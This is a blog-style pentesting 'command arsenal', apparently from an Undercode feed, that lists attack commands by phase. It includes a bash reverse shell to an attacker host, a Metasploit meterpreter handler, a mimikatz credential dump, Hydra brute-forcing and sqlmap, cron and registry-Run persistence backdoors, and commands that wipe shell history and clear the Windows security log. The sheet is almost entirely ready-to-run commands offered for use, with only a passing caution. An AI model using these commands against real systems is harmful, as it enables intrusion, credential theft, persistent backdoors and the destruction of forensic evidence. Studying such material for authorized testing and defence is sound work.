The Ultimate Pentesting Command Line Arsenal

Red team operations thrive on speed and precision—and that starts with knowing the right command at the right time. This Pentesting Command Sheet is your go-to field reference for every phase of an attack: from recon and exploitation to persistence and cleanup.

🔥 Command Categories Every Operator Must Master

1️⃣ Enumeration & Recon

Nmap Full Recon:
```
nmap -sC -sV -T4 -A -Pn <target-ip>
```

Web Discovery with Gobuster:

gobuster dir -u http://<target> -w wordlist.txt

Subdomain Enumeration:

subfinder -d example.com -o subdomains.txt

2️⃣ Exploitation

Manual SQLi Testing:
```
' OR 1=1-- 
```

Reverse Shell One-Liner (Bash):

bash -i >& /dev/tcp/attacker-ip/4444 0>&1

Metasploit Quick Exploit:

msfconsole -q -x "use exploit/multi/handler; set payload linux/x64/meterpreter/reverse_tcp; set LHOST <attacker-ip>; set LPORT 4444; exploit"

3️⃣ Privilege Escalation

Linux SUID Hunt:
```
find / -perm -4000 -type f 2>/dev/null
```
Windows Privilege Escalation Check:
```
whoami /priv
```
Kernel Exploit Check:
```
uname -a
```

4️⃣ Credential Hunting

Linux Password Search:
```
grep -r "password" /etc/
```

Windows Credential Dump:

mimikatz.exe "sekurlsa::logonpasswords" exit

5️⃣ Cleanup & Anti-Forensics

Bash History Wipe:
```
history -c && unset HISTFILE
```
Windows Event Log Clear:
```
wevtutil cl security
```

You Should Know:

Advanced Nmap Scanning Techniques

Stealth Scan (SYN Scan):
```
nmap -sS -T2 <target-ip>
```
OS & Service Detection:
```
nmap -O -sV <target-ip>
```

Automating Web Exploitation

SQLMap for Automated SQLi:

sqlmap -u "http://example.com/login?id=1" --dbs

Brute-Forcing with Hydra:

hydra -l admin -P rockyou.txt <target-ip> http-post-form "/login:username=^USER^&password=^PASS^:Invalid"

Post-Exploitation Tricks

Linux Persistence via Cronjob:

(crontab -l ; echo "     /bin/bash -c 'bash -i >& /dev/tcp/attacker-ip/4444 0>&1'") | crontab -

Windows Backdoor with Persistence:

reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Backdoor /t REG_SZ /d "C:\malware.exe"

What Undercode Say

Mastering command-line tools is essential for efficient penetration testing. The ability to quickly adapt and execute commands under pressure separates skilled red teamers from beginners. Always verify commands in a controlled environment before live engagements. Automation with scripting (Bash, Python, PowerShell) enhances efficiency.

Expected Output:

Successful reconnaissance with `nmap` and gobuster.
Exploitation leading to a reverse shell.
Privilege escalation via SUID or kernel exploits.
Cleaned logs to avoid detection.

Prediction

As red teaming evolves, AI-driven automation in penetration testing will rise, but command-line proficiency will remain foundational. New exploits will emerge, but core techniques (recon, exploitation, persistence) will stay relevant.

For further reading, check out:

References:

Reported By: Shihab Hossen – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

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